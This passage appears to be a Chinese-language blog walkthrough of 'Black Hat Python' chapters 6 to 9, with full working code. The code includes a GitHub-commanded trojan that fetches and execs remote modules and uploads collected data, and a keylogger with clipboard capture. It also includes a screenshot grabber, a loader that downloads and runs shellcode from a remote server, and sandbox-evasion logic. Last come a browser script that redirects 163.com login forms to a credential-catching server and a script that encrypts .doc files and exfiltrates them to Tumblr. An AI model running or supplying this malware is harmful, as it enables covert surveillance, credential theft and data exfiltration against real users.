  79.         quoted_query = urllib.quote(bing_query_string)
  80.  
  81.         http_request  = "GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20&Query=%s HTTP/1.1\r\n" % quoted_query
  82.         http_request += "Host: api.datamarket.azure.com\r\n"
  83.         http_request += "Connection: close\r\n"
  84.         # 对API密钥使用base64编码
  85.         http_request += "Authorization: Basic %s\r\n" % base64.b64encode(":%s" % bing_api_key)
  86.         http_request += "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\r\n\r\n"
  87.  
  88.         json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com", 443, True, http_request).tostring()
  89.  
  90.         # 去掉HTTP响应头，只取正文
  91.         json_body = json_body.split("\r\n\r\n", 1)[1]
  92.  
  93.         #print json_body
  94.  
  95.         try:
  96.             # 传递给json解析器
  97.             r = json.loads(json_body)
  98.  
  99.             # 输出查询到的网站的相关信息
  100.             if len(r["d"]["results"]):
  101.                 for site in r["d"]["results"]:
  102.  
  103.                     print "*" * 100
  104.                     print site['Title']
  105.                     print site['Url']
  106.                     print site['Description']
  107.                     print "*" * 100
  108.  
  109.                     j_url = URL(site['Url'])
  110.  
  111.             # 如果网站不在brup的目标列表中，就添加进去
  112.             if not self._callbacks.isInScope(j_url):
  113.                 print "Adding to Burp scope"
  114.                 self._callbacks.includeInScope(j_url)
  115.  
  116.         except:
  117.             print "No results from Bing"
  118.             pass
  119.  
  120.         return

 

加载扩展步骤同上

 

跟着的话，send to bing

 

但又有问题了，没结果

 

将返回的页面打印出来，发现没权限或者身份问题，一开始以为是证书，结果不是

 

 

再次浏览bing API，觉得是这个的问题，其实当时一开始打开这个网站就知道有点问题

 

 

 

于是就改成香港的，估计改成其他地区也能行，最重要你能看懂文字

 

再次实验 ，ko！！！！！！！！！！！！难过奋斗

 

利用网站内容生成密码字典

代码

  1. #-*- coding:utf8 -*-
  2. from burp import IBurpExtender
  3. from burp import IContextMenuFactory
  4.  
  5. from javax.swing import JMenuItem
  6. from java.util import List, ArrayList
  7. from java.net import URL
  8.  
  9. import re
  10. from datetime import datetime
  11. from HTMLParser import HTMLParser
  12.  
  13. #
  14. class TagStripper(HTMLParser):
  15.     def __init__(self):
  16.         HTMLParser.__init__(self)
  17.         self.page_text = []
  18.     # 遇到两个标签之间的数据时调用
  19.     def handle_data(self, data):
  20.         self.page_text.append(data)
  21.     # 遇到注释时调用
  22.     def handle_comment(self, data):
  23.         self.handle_data(data)
  24.  
  25.     def strip(self,html):
  26.         # 会调用上面的两个函数
  27.         self.feed(html)
  28.         return "".join(self.page_text)
  29.  
  30. class BurpExtender(IBurpExtender, IContextMenuFactory):
  31.     def registerExtenderCallbacks(self,callbacks):
  32.         self._callbacks = callbacks
  33.         self._helpers = callbacks.getHelpers()
  34.         self.context = None
  35.         self.hosts = set()
  36.  
  37.         # 按部就班,先设定一个非常常见的密码，因为是字典，不能重复最好，所以用集合
  38.         self.wordlist = set(["password"])
  39.  
  40.         # 建立起我们的扩展工具
  41.         callbacks.setExtensionName("Build Wordlist")
  42.         callbacks.registerContextMenuFactory(self)
  43.  
  44.         return
  45.  
  46.     # 添加菜单
  47.     def createMenuItems(self, context_menu):
  48.         self.context = context_menu
  49.         menu_list = ArrayList()
  50.         menu_list.add(JMenuItem("Bulid Wordlist", actionPerformed=self.wordlist_menu))
  51.  
  52.         return menu_list
  53.  
  54.     def wordlist_menu(self, event):
  55.  
  56.         # 抓取用户点击细节
  57.         http_traffic = self.context.getSelectedMessages()
  58.  
  59.         # 获取ip或主机名(域名)
  60.         for traffic in http_traffic:
  61.             http_service = traffic.getHttpService()
  62.             host = http_service.getHost()
  63.  
  64.             self.hosts.add(host)
  65.             # 获取网站的返回信息
  66.             http_response = traffic.getResponse()
  67.             # 若有回应就调用get_word
  68.             if http_response:
  69.                 self.get_words(http_response)
  70.  
  71.         self.display_wordlist()
  72.         return
  73.  
  74.     def get_words(self, http_response):
  75.  
  76.         headers, body = http_response.tostring().split("\r\n\r\n", 1)
  77.  
  78.         # 忽略下一个请求
  79.         if headers.lower().find("content-type: text") == -1:
  80.             return
  81.  
  82.         # 获取标签中的文本
  83.         tag_stripper = TagStripper()
  84.         page_text = tag_stripper.strip(body)
  85.  
  86.         # 匹配第一个是字母的，后面跟着的是两个以上的字母，数字或下划线／
  87.         words = re.findall("[a-zA-Z]\w{2,}", page_text)
  88.  
  89.         # 感觉这里的长度有点短啊,作者是12，我改成15了
  90.         for word in words:
  91.             # 过滤长字符串
  92.             if len(word) <= 15:
  93.                 self.wordlist.add(word.lower())
  94.  
  95.         return
  96.  
  97.     # 再后面添加更多的猜测
  98.     def mangle(self, word):
  99.         year = datetime.now().year
  100.         suffixes = ["", "1", "!", year]
  101.         mangled = []
  102.  
  103.         for password in (word, word.capitalize()):
  104.             for suffix in suffixes:
  105.                 mangled.append("%s%s" % (password, suffix))
  106.  
  107.         return mangled
  108.  
  109.     def display_wordlist(self):
  110.  
  111.         print "#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts)
  112.  
  113.         for word in sorted(self.wordlist):
  114.             for password in self.mangle(word):
  115.                 print password
  116.  
  117.         return

 

 

 

第七章 基于GitHub的命令和控制

GitHub账号设置

安装Github API库

pip install github3.py

 

首先你要去github注册个账号吧

 

 

跟着初始化本地环境，因为我本来就初始化好了，跟课本有所不同，直接上图好了，我就在我分享的源代码里面chapter7里面直接加目录就行了（如果你没用过github，建议先去学习学习）

 

创建模块

在modules目录创建了两文件（就是下图的两个文件），为了减少篇幅，查看代码和注释请到github上看

 

木马配置

配置文件为一个json文件，里面的信息包含了我们添加的模块

 

 

编写基于github的通信木马

代码:

  1. #-*- coding:utf8 -*-
  2.  
  3. import json
  4. import base64
  5. import sys
  6. import time
  7. import imp
  8. import random
  9. import threading
  10. import Queue
  11. import os
  12.  
  13. from github3 import login
  14.  
  15. trojan_id = "abc"
  16.  
  17. trojan_config = "%s.json" % trojan_id
  18. data_path = "chapter7/data/%s/" % trojan_id
  19. trojan_modules = []
  20. configured = False
  21. task_queue = Queue.Queue()
  22.  
  23.  
  24. # 通过账号密码连接到github，获取repo和branch
  25. def connect_to_github():
  26.     gh = login(username="你的账号", password="你的密码")
  27.     repo = gh.repository("你的账号，同上面的账号", "python-hacker-code（仓库名）")
  28.     branch = repo.branch("master")
  29.  
  30.     return gh,repo,branch
  31.  
  32. # 从远程仓库中获取文件
  33. def get_file_contents(filepath):
  34.  
  35.     gh, repo, branch = connect_to_github()
  36.     tree = branch.commit.commit.tree.recurse()
  37.  
  38.     for filename in tree.tree:
  39.  
  40.         if filepath in filename.path:
  41.             print "[*] Found file %s" % filepath
  42.             blob = repo.blob(filename._json_data['sha'])
  43.             return blob.content
  44.  
  45.     return None
  46.  
  47. # 获取木马的配置文件，并导入模块
  48. def get_trojan_config():
  49.     global configured
  50.     config_json = get_file_contents(trojan_config)
  51.     config  = json.loads(base64.b64decode(config_json))
  52.     configured = True
  53.  
  54.     for task in config:
  55.         if task['module'] not in sys.modules:
  56.             exec("import %s" % task['module'])
  57.  
  58.     return config
  59.  
  60. # 将从目标主机收集到的数据推送到仓库中
  61. def store_module_result(data):
  62.  
  63.     gh, repo, branch = connect_to_github()
  64.     remote_path = "chapter7/data/%s/%d.data" % (trojan_id, random.randint(10,10000000))
  65.     repo.create_file(remote_path,"Commit message",base64.b64encode(data))
  66.  
  67.     return
  68.  
  69. def module_runner(module):
  70.  
  71.     # 将１加入到队列中
  72.     task_queue.put(1)
  73.     result = sys.modules[module].run(a=1,b=2,c=3)
  74.     # 从队列中移除
  75.     task_queue.get()
  76.  
  77.     # 保存结果到我们的仓库中
  78.     store_module_result(result)
  79.  
  80.     return
  81.  
  82. class GitImporter(object):
  83.     def __init__(self):
  84.         self.current_module_code = ""
  85.  
  86.     # 尝试获取模块所在位置
  87.     def find_module(self, fullname, path=None):
  88.         if configured:
  89.             print "[*] Attempting to retrieve %s" % fullname
  90.             new_library = get_file_contents("chapter7/modules/%s" % fullname)
  91.  
  92.             if new_library is not None:
  93.                 self.current_module_code = base64.b64decode(new_library)
  94.                 # 返回self变量，告诉python解析器找到了所需的模块
  95.                 return self
  96.  
  97.         return None
  98.  
  99.     # 完成模块的实际加载过程
  100.     def load_module(self, name):
  101.         # 创建一个空的模块对象
  102.         module = imp.new_module(name)
  103.         # 将github中获得的代码导入的这个对象中
  104.         exec self.current_module_code in module.__dict__
  105.         # 最后将这个新建的模块添加到sys.modules列表里面
  106.         sys.modules[name] = module
  107.  
  108.         return module
  109.  
  110.  
  111.  
  112. # 添加自定义的模块导入器
  113. sys.meta_path = [GitImporter()]
  114. # 木马循环
  115. while True:
  116.  
  117.     if task_queue.empty():
  118.         # 获取木马配置文件
  119.         config = get_trojan_config()
  120.         for task in config:
  121.             # 对每个模块单独建立线程
  122.             t = threading.Thread(target=module_runner, args=(task['module'],))
  123.             t.start()
  124.             time.sleep(random.randint(1,10))
  125.  
  126.     time.sleep(random.randint(1000,10000))
  127.

 

运行结果：

 

运行两次后有四个data文件了

 

我们验证一下确实是获取了环境变量

 

第八章 Windows下木马的常用功能

有趣的键盘记录

利用第三方库pyHook,它利用了原生的Windows函数SetWindowsHookEx，这个在C++黑客编程很常用了，推荐本书《C++黑客编程与揭秘》

下载地址：

https://sourceforge.net/projects/pyhook/

 

因为是利用了原生的Windows API,所以是在windows平台，这个实验只能在win平台

 

原来除了安装pyHook，还有安装pythoncom，地址：下载点这里

 

安装pyHook时，出现了这个问题：Python version 2.7 required, which was not found in the registry

 

但解决了这个还不行，原来只能支持32位python,苦逼的64位委屈，最后还是安装了个32位的

 

成功后截图：

 

代码：

  1. #-*- coding:utf8 -*-
  2.  
  3. from ctypes import *
  4. import pythoncom
  5. import pyHook
  6. import win32clipboard
  7.  
  8. user32 = windll.user32
  9. kernel32 = windll.kernel32
  10. psapi = windll.psapi
  11. current_window = None
  12.  
  13. def get_current_process():
  14.  
  15.     # 获取前台窗口句柄
  16.     hwnd = user32.GetForegroundWindow()
  17.  
  18.     # 获得进程ID
  19.     pid = c_ulong(0)
  20.     user32.GetWindowThreadProcessId(hwnd, byref(pid))
  21.  
  22.     # 保存当前进程ID
  23.     process_id = "%d" % pid.value
  24.  
  25.     # 申请内存
  26.     executable = create_string_buffer("\x00" * 512)
  27.     # 打开进程
  28.     h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
  29.     # 获取进程所对应的可执行文件的名字
  30.     psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
  31.  
  32.     # 读取窗口标题
  33.     window_title = create_string_buffer("\x00" * 512)
  34.     length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
  35.  
  36.     # 输出进程相关信息
  37.     print
  38.     print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
  39.     print
  40.  
  41.     # 关闭句柄
  42.     kernel32.CloseHandle(hwnd)
  43.     kernel32.CloseHandle(h_process)
  44.  
  45. def keyStore(event):
  46.     global current_window
  47.  
  48.     # 检查目标是否切换了窗口
  49.     if event.WindowName != current_window:
  50.         current_window = event.WindowName
  51.         get_current_process()
  52.  
  53.     # 检测按键是否为常规按键(非组合键等)
  54.     if event.Ascii > 32 and event.Ascii < 127:
  55.         print chr(event.Ascii),
  56.     else:
  57.         # 若输入为[CTRL-V],则获取剪切板内容
  58.         if event.Key == "V":
  59.             win32clipboard.OpenClipboard()
  60.             pasted_value = win32clipboard.GetClipboardData()
  61.             win32clipboard.CloseClipboard()
  62.  
  63.             print "[PASTE] - %s" % (pasted_value),
  64.  
  65.         else:
  66.             print "[%s]" % event.Key,
  67.  
  68.     # 返回直到下一个钩子事件被触发
  69.     return True
  70.  
  71. # 创建和注册钩子函数管理器
  72. k1 =pyHook.HookManager()
  73. #
  74. k1.KeyDown = keyStore
  75.  
  76. # 注册键盘记录的钩子，然后永久执行
  77. k1.HookKeyboard()
  78. pythoncom.PumpMessages()

 

运行结果;(根据代码，那个耀应该就是内存的值)

【请忽略下面的英文语法，或许我不说你不知道安静】

 

 

下面测试粘贴的记录效果

 

截取屏幕快照

代码：

  1. #-*- coding:utf8 -*-
  2.  
  3. import win32gui
  4. import win32ui
  5. import win32con
  6. import win32api
  7.  
  8. # 获取窗口桌面的句柄
  9. hdesktop = win32gui.GetDesktopWindow()
  10.  
  11. # 获得显示屏的像素尺寸
  12. width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
  13. height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
  14. left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
  15. top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
  16.  
  17. # 创建设备描述表
  18. desktop_dc = win32gui.GetWindowDC(hdesktop)
  19. img_dc = win32ui.CreateDCFromHandle(desktop_dc)
  20.  
  21. # 创建基于内存的设备描述表，用于储存我们捕获到的图片的数据，直到我们保存到文件
  22. mem_dc = img_dc.CreateCompatibleDC()
  23.  
  24. # 创建位图对象
  25. screenshot = win32ui.CreateBitmap()
  26. screenshot.CreateCompatibleBitmap(img_dc, width, height)
  27. mem_dc.SelectObject(screenshot)
  28.  
  29. # 复制屏幕到我们的内存设备描述表中
  30. mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)
  31.  
  32. # 将位图保存到文件中
  33. screenshot.SaveBitmapFile(mem_dc, "C:\\test.bmp")
  34.  
  35. # 释放对象
  36. mem_dc.DeleteDC()
  37. win32gui.DeleteObject(screenshot.GetHandle())


运行结果：

 

Python方式的shellcode执行

代码

  1. #-*- coding:utf8 -*-
  2.  
  3. import urllib2
  4. import ctypes
  5. import base64
  6.  
  7. # 从我们搭建的服务器下下载shellcode
  8. url = "http://10.10.10.128:8000/shellcode.bin"
  9. response = urllib2.urlopen(url)
  10.  
  11. # 解码shellcode
  12. shellcode = base64.b64decode(response.read())
  13. # 申请内存空间
  14. shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
  15. # 创建shellcode的函数指针
  16. shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
  17. # 执行shellcode
  18. shellcode_func()

 

报了个非法访问内存

 

这里的简单的HTTP服务器也记录了访问的记录

 

如果直接双击shellcode是可以的

 

沙盒检测

复制一下维基百科的：

  1. 在计算机安全领域，沙盒（英语：sandbox，又译为沙箱）是一种安全机制，为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
  2. 沙盒通常严格控制其中的程序所能访问的资源，比如，沙盒可以提供用后即回收的磁盘及内存空间。在沙盒中，网络访问、对真实系统的访问、对输入设备的读取通常被禁止或是严格限制。从这个角度来说，沙盒属于虚拟化的一种。
  3. 沙盒中的所有改动对操作系统不会造成任何损失。通常，这种技术被计算机技术人员广泛用于测试可能带毒的程序或是其他的恶意代码。

 

原理：正常的机器，会在某个时间段频繁地跟机器进行交换，沙盒通常没有用户交互，没有夸张的交互数据，因为沙盒通常被用于自动对而已软件进行分析

 

  1. #-*- coding:utf8 -*-
  2.  
  3. import ctypes
  4. import random
  5. import time
  6. import sys
  7.  
  8. user32 = ctypes.windll.user32
  9. kernel32 = ctypes.windll.kernel32
  10.  
  11. # 用于记录鼠标单击，键盘按键和双击的总数量
  12. keystrokes = 0
  13. mouse_clicks = 0
  14. double_clicks = 0
  15.  
  16. #  定义LASTINPUTINFO结构体
  17. class LASTINPUTINFO(ctypes.Structure):
  18.     _fields_ = [
  19.                 ("cbsize", ctypes.c_uint),  # 结构体大小
  20.                 ("dwTime", ctypes.c_ulong)  # 系统最后输入时间
  21.                 ]
  22.  
  23. def get_last_input():
  24.     struct_lastinputinfo = LASTINPUTINFO()
  25.     struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
  26.  
  27.     # 获得用户最后输入的相关信息
  28.     user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
  29.  
  30.     # 获取系统开机以来的时间
  31.     run_time = kernel32.GetTickCount()
  32.  
  33.     elapsed = run_time - struct_lastinputinfo.dwTime
  34.     print "[*] It's been %d milliseconds since the last input event." % elapsed
  35.  
  36.     return elapsed
  37.  
  38. # 测试后删除下面代码，这只是测试上面代码能否运行成功
  39. # while True:
  40. #     get_last_input()
  41. #     time.sleep(1)
  42.  
  43. def get_key_press():
  44.     global mouse_clicks
  45.     global keystrokes
  46.  
  47.     for i in range(0,0xff):
  48.         # 检测某个按键是否被按下
  49.         if user32.GetAsyncKeyState(i) == -32767:
  50.             # 左键点击为0x1
  51.             if i == 0x1:
  52.                 # 鼠标单击的数目和时间
  53.                 mouse_clicks += 1
  54.                 return time.time()
  55.             # 键盘ASCII按键是从23-127（具体可看ASCII表），为可打印字符，这就获取了键盘的敲击次数
  56.             elif i > 32 and i < 127:
  57.                 keystrokes += 1
  58.  
  59.     return None
  60.  
  61. def detect_sandbox():
  62.     global mouse_clicks
  63.     global keystrokes
  64.  
  65.     # 定义键盘，单击，双击的最大值（阀值）
  66.     max_keystrokes = random.randint(10,25)
  67.     max_mouse_clicks = random.randint(5,25)
  68.     max_double_clicks = 10
  69.  
  70.     double_clicks = 0
  71.     double_click_threshold = 0.250 #秒为单位
  72.     first_double_click = None
  73.  
  74.     average_mousetime = 0
  75.     max_input_threshold = 30000 #毫秒为单位
  76.  
  77.     previous_timestamp = None
  78.     detection_complete = False
  79.  
  80.     # 获取用户最后一次输入之后经历的时间
  81.     last_input = get_last_input()
  82.  
  83.     # 超过设定的阀值时强制退出，就是用户最后一次输入之后经历的时间太长，都没用户活动了
  84.     if last_input >= max_input_threshold:
  85.         sys.exit(0)
  86.  
  87.     # 循环检测
  88.     while not detection_complete:
  89.  
  90.         # 获取按下鼠标的时间，不懂的看函数的返回值
  91.         keypress_time = get_key_press()
  92.  
  93.         if keypress_time is not None and previous_timestamp is not None:
  94.             # 计算两次点击的相隔时间
  95.             elapsed = keypress_time - previous_timestamp
  96.             # 间隔时间短的话，则为用户双击
  97.             if elapsed <= double_click_threshold:
  98.                 double_clicks += 1
  99.                 if first_double_click is None:
  100.                     # 获取第一次双击的时间
  101.                     first_double_click = time.time()
  102.                 else:
  103.                     # 是否是沙盒的管理者在沙盒中模仿用户的点击（因为普通用户通常不会双击这么多）
  104.                     if double_clicks == max_double_clicks:
  105.                         # 短时间内，鼠标点击达到了我们设定的最大值（最大次数*双击间隔）
  106.                         if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
  107.                             sys.exit(0)
  108.             # 是否达到了我们检测的最大数量，是就退出
  109.             if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >=max_mouse_clicks:
  110.                 return
  111.  
  112.             previous_timestamp = keypress_time
  113.         elif keypress_time is not None:
  114.             previous_timestamp = keypress_time
  115.  
  116.  
  117.  
  118. detect_sandbox()
  119. print "We are Ok!"
  120.  
  121.

 

第九章 玩转浏览器

 

基于浏览器的中间人攻击

没实验出来，大概知道是什么原理：

 

首先要循环运行，判断是否是我们的目标域名，

若已经获取登陆凭证的就结束本次循环，重头开始（while的下一行代码）判断，否则继续向下

若有设置退出登陆的url，就访问，否则找退出登陆的表单，退出

接着登待浏览器回到登陆的表单页面

跟着就修改登陆表单的action，即提交地址为我们接受数据的服务器的地址，还有原登录地址也提交过去，

并将owned设置为True，代表已经获取登陆凭证

 

服务器这边，初始化监听地址和端口，并调用一个类来处理请求，其实就是处理POST请求，

首先获取包长度，读取这么多长度的内容并打印出来，登录凭证就出来了，

跟着获取用户访问的原始站点，进行301重定向，并设置头部

 

代码：

  1. #-*- coding:utf8 -*-  
  2.  
  3. import win32com.client
  4. import time
  5. import urlparse
  6. import urllib
  7.  
  8. # 接受窃取的数据的服务器
  9. data_receiver = "http://127.0.0.1:8080/"
  10.  
  11. # 目标站点
  12. target_sites = {}
  13.  
  14. target_sites["www.163.com"] = {
  15.     "logout_url"    : "http://reg.163.com/Logout.jsp?username=zhuhaijnujixie&url=http://www.163.com/",
  16.     "logout_form"   : None,
  17.     "logout_form_index":0,
  18.     "owned"         :False
  19. }
  20. target_sites["reg.163.com"] = {
  21.     "logout_url"    : "http://reg.163.com/Logout.jsp?username=zhuhaijnujixie&url=http://www.163.com/",
  22.     "logout_form"   : None,
  23.     "logout_form_index":0,
  24.     "owned"         :False
  25. }
  26.  
  27. # IE浏览器类的ID号
  28. clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'
  29.  
  30. # COM对象实例化，就是上面那个
  31. windows = win32com.client.Dispatch(clsid)
  32.  
  33. def wait_for_browser(browser):
  34.     # 等待浏览器加载完一个页面
  35.     while browser.ReadyState != 4 and browser.ReadyState != "complete":
  36.         time.sleep(0.1)
  37.  
  38.     return
  39.  
  40. while True:
  41.  
  42.     for browser in windows:
  43.         url = urlparse.urlparse(browser.LocationUrl)
  44.         if url.hostname in target_sites:
  45.             #print "i am in"
  46.             if target_sites[url.hostname]["owned"]:
  47.                 continue
  48.  
  49.             # 如果有一个URL，我们可以重定向
  50.             if target_sites[url.hostname]["logout_url"]:
  51.                 browser.Navigate(target_sites[url.hostname]["logout_url"])
  52.                 wait_for_browser(browser)
  53.             else:
  54.                 # 检索文件中的所有元素
  55.                 full_doc = browser.Document.all
  56.                 # 迭代寻找注销表单
  57.                 for i in full_doc:
  58.                     try:
  59.                         # 找到退出登陆的表单并提交
  60.                         if i.id == target_sites[url.hostname]["logout_form"]:
  61.                             i.submit()
  62.                             wait_for_browser(browser)
  63.                     except:
  64.                         pass
  65.             # 现在来修改登陆表单
  66.             try:
  67.                 login_index = target_sites[url.hostname]["login_form_index"]
  68.                 login_page = urllib.quote(browser.LocationUrl)
  69.                 browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page)
  70.                 target_sites[url.hostname]["owned"] = True
  71.             except:
  72.                 pass
  73.         time.sleep(5)
  74.  
  1. <pre name="code" class="python">#-*- coding:utf8 -*-  
  2.  
  3. import SimpleHTTPServer
  4. import SocketServer
  5. import urllib
  6.  
  7. class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
  8.     # 处理POST请求
  9.     def do_POST(self):
  10.         # 获取包长度
  11.         content_length = int(self.headers['Content-Length'])
  12.         # 读取这么多长度的内容并打印出来，登录凭证就出来了
  13.         creds = self.rfile.read(content_length).decode('utf-8')
  14.         print creds
  15.         # 跟着获取用户访问的原始站点，进行301重定向，并设置头部
  16.         site = self.path[1:]
  17.         self.send_response(301)
  18.         self.send_header("Location",urllib.unquote(site))
  19.         self.end_headers()
  20.  
  21. # 初始化监听地址和端口，并调用一个类来处理请求，其实就是处理POST请求
  22. server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
  23. # 永远监听
  24. server.serve_forever()
 

利用IE的COM组件自动化技术窃取数据

安装pycrypto

可以直接下源码：https://ftp.dlitz.net/pub/dlitz/crypto/pycrypto/pycrypto-2.6.1.tar.gz

，也可以pip

出了点问题

下载Microsoft Visual C++ Compiler for Python 2.7 安装即可（这个就是9.0的）

https://www.microsoft.com/en-us/download/confirmation.aspx?id=44266

先是生成公钥和私钥来加密解密我们的数据

下面有个函数

generate(bits, randfunc=None, progress_func=None, e=65537)

 

Randomly generate a fresh, new RSA key object.

随机地生成一个新的RSA key对象

Parameters:

  • bits (int) - Key length, or size (in bits) of the RSA modulus. It must be a multiple of 256, and no smaller than 1024.（key长度，不少于1024，且为256的倍数）
  • randfunc (callable) - Random number generation function; it should accept a single integer N and return a string of random data N bytes long. If not specified, a new one will be instantiated from Crypto.Random.（随机数生成函数，默认使用 Crypto.Random）
  • progress_func (callable) - Optional function that will be called with a short string containing the key parameter currently being generated; it's useful for interactive applications where a user is waiting for a key to be generated.
  • e (int) - Public RSA exponent. It must be an odd positive integer. It is typically a small number with very few ones in its binary representation. The default value 65537 (= 0b10000000000000001 ) is a safe choice: other common values are 5, 7, 17, and 257.（必须为奇正整数，默认65537）

Returns:

An RSA key object (_RSAobj).

Raises:

  • ValueError - When bits is too little or not a multiple of 256, or when e is not odd or smaller than 2.
Attention:
  • You should always use a cryptographically secure random number generator, such as the one defined in the Crypto.Random module; don't just use the current time and the random module.
  • Exponent 3 is also widely used, but it requires very special care when padding the message.

代码：

  1. #-*- coding:utf8 -*-  
  2.  
  3. from Crypto.PublicKey import RSA
  4.  
  5. # 随机地生成一个新的RSA key对象
  6. new_key = RSA.generate(2048, e = 65537)
  7.  
  8. # 导出公钥和私钥
  9. public_key = new_key.publickey().exportKey("PEM")
  10. private_key = new_key.exportKey("PEM")
  11.  
  12. # 分别输出公钥和私钥
  13. print public_key
  14. print private_key


ie_exfil.py代码：

  1. #-*- coding:utf8 -*-  
  2.  
  3. import win32com.client
  4. import os
  5. import fnmatch
  6. import time
  7. import random
  8. import zlib
  9.  
  10. from Crypto.PublicKey import RSA
  11. from Crypto.Cipher import PKCS1_OAEP
  12. # 要窃取的文档类型和tumblr的账号密码
  13. doc_type = ".doc"
  14. username = "你的账号"
  15. password = "你的密码"
  16.  
  17. public_key = "你生成的公钥"
  18.  
  19. def wait_for_browser(browser):
  20.     # 等待浏览器加载完一个页面
  21.     while browser.ReadyState != 4 and browser.ReadyState != "complete":
  22.         time.sleep(0.1)
  23.  
  24.     return
  25.  
  26. def encrypt_string(plaintext):
  27.     # 设置块大小
  28.     chunk_size = 256
  29.     print "Compressing: %d bytes" % len(plaintext)
  30.     # 首先调用zlib进行压缩
  31.     plaintext = zlib.compress(plaintext)
  32.  
  33.     print "Encrypting %d bytes" % len(plaintext)
  34.  
  35.     # 利用公钥建立RSA公钥加密对象
  36.     rsakey = RSA.importKey(public_key)
  37.     rsakey = PKCS1_OAEP.new(rsakey)
  38.  
  39.     encrypted = ""
  40.     offset = 0
  41.  
  42.     # 对文件内容进行每256个字节为一块循环加密
  43.     while offset < len(plaintext):
  44.         # 获取某个256字节
  45.         chunk = plaintext[offset:offset+chunk_size]
  46.         # 若到最后不够256字节，则用空格补够
  47.         if len(chunk) % chunk_size != 0:
  48.             chunk += " " * (chunk_size - len(chunk))
  49.         # 将已加密的连起来
  50.         encrypted += rsakey.encrypt(chunk)
  51.         # 偏移增加
  52.         offset += chunk_size
  53.     # 对加密后的进行base64编码
  54.     encrypted = encrypted.encode("base64")
  55.     # 输出最后加密后的长度
  56.     print "Base64 encodeed crypto: %d" % len(encrypted)
  57.     # 返回加密后内容
  58.     return encrypted
  59.  
  60. def encrypt_post(filename):
  61.  
  62.     # 打开并读取文件
  63.     fd = open(filename, "rb")
  64.     contents = fd.read()
  65.     fd.close()
  66.     # 分别加密文件名和内容
  67.     encrypt_title = encrypt_string(filename)
  68.     encrypt_body = encrypt_string(contents)
  69.  
  70.     return encrypt_title, encrypt_body
  71.  
  72. # 随机休眠一段时间
  73. def random_sleep():
  74.     time.sleep(random.randint(5,10))
  75.     return
  76.  
  77. def login_to_tumblr(ie):
  78.  
  79.     # 解析文档中的所有元素
  80.     full_doc = ie.Document.all
  81.     # 迭代每个元素来查找登陆表单
  82.     for i in full_doc:
  83.         if i.id == "signup_email":
  84.             i.setAttribute("value", username)
  85.         elif i.id == "signup_password":
  86.             i.setAttribute("value", password)
  87.  
  88.     random_sleep()
  89.  
  90.     try:
  91.         # 你会遇到不同的登陆主页
  92.         if ie.Document.forms[0].id == "signup_form":
  93.             ie.Document.forms[0].submit()
  94.         else:
  95.             ie.Document.forms[1].submit()
  96.     except IndexError, e:
  97.         pass
  98.  
  99.     random_sleep()
  100.  
  101.     # 登陆表单是登陆页面的第二个表单
  102.     wait_for_browser(ie)
  103.     return
  104.  
  105. def post_to_tumblr(ie, title, post):
  106.     full_doc = ie.Document.all
  107.  
  108.     for i in full_doc:
  109.         if i.id == "post_one":
  110.             i.setAttribute("value", title)
  111.             title_box = i
  112.         elif i.id == "post_two":
  113.             i.setAttribute("innerHTML", post)
  114.         elif i.id == "create_post":
  115.             print "Found post button"
  116.             post_form = i
  117.             i.focus()
  118.  
  119.     random_sleep()
  120.     title_box.focus()
  121.     random_sleep()
  122.  
  123.     post_form.childran[0].click()
  124.     wait_for_browser(ie)
  125.  
  126.     random_sleep()
  127.  
  128.     return
  129.  
  130. def exfiltrate(document_path):
  131.     # 创建IE实例化对象
  132.     ie = win32com.client.Dispatch("InternetExplorer.Application")
  133.     # 调试阶段设置为1，实际设置为0，以增加隐蔽性
  134.     ie.Visible = 1
  135.  
  136.     # 访问tumblr站点并登陆
  137.     ie.Navigate("http://www.tumblr.com/login")
  138.     wait_for_browser(ie)
  139.  
  140.     print "Logging in ..."
  141.     login_to_tumblr(ie)
  142.     print "Logged in ... navigating"
  143.  
  144.     ie.Navigate("https://www.tumblr.com/new/text")
  145.     wait_for_browser(ie)
  146.  
  147.     # 加密文件
  148.     title,body = encrypt_post(document_path)
  149.  
  150.     print "Creating new post..."
  151.     post_to_tumblr(ie, title, body)
  152.     print "Posted!"
  153.  
  154.     # 销毁IE实例
  155.     ie.Quit()
  156.     ie = None
  157.  
  158.  
  159. # 用户文档检索的主循环，路径自定
  160. for parent, directories, filenames in os.walk("C:\\"):
  161.     for filename in fnmatch.filter(filenames, "*%s" % doc_type):
  162.         document_path = os.path.join(parent, filename)
  163.         print "Found: %s" % document_path
  164.         exfiltrate(document_path)
  165.         raw_input("Continue?")


我们获取后如何解密呢

decryptor.py：

  1. #-*- coding:utf8 -*-  
  2.  
  3. import zlib
  4. import base64
  5. from Crypto.PublicKey import RSA
  6. from Crypto.Cipher import PKCS1_OAEP
  7.  
  8. private_key = "你生成的私钥"
  9.  
  10. rsakey = RSA.importKey(private_key)
  11. rsakey = PKCS1_OAEP.new(rsakey)
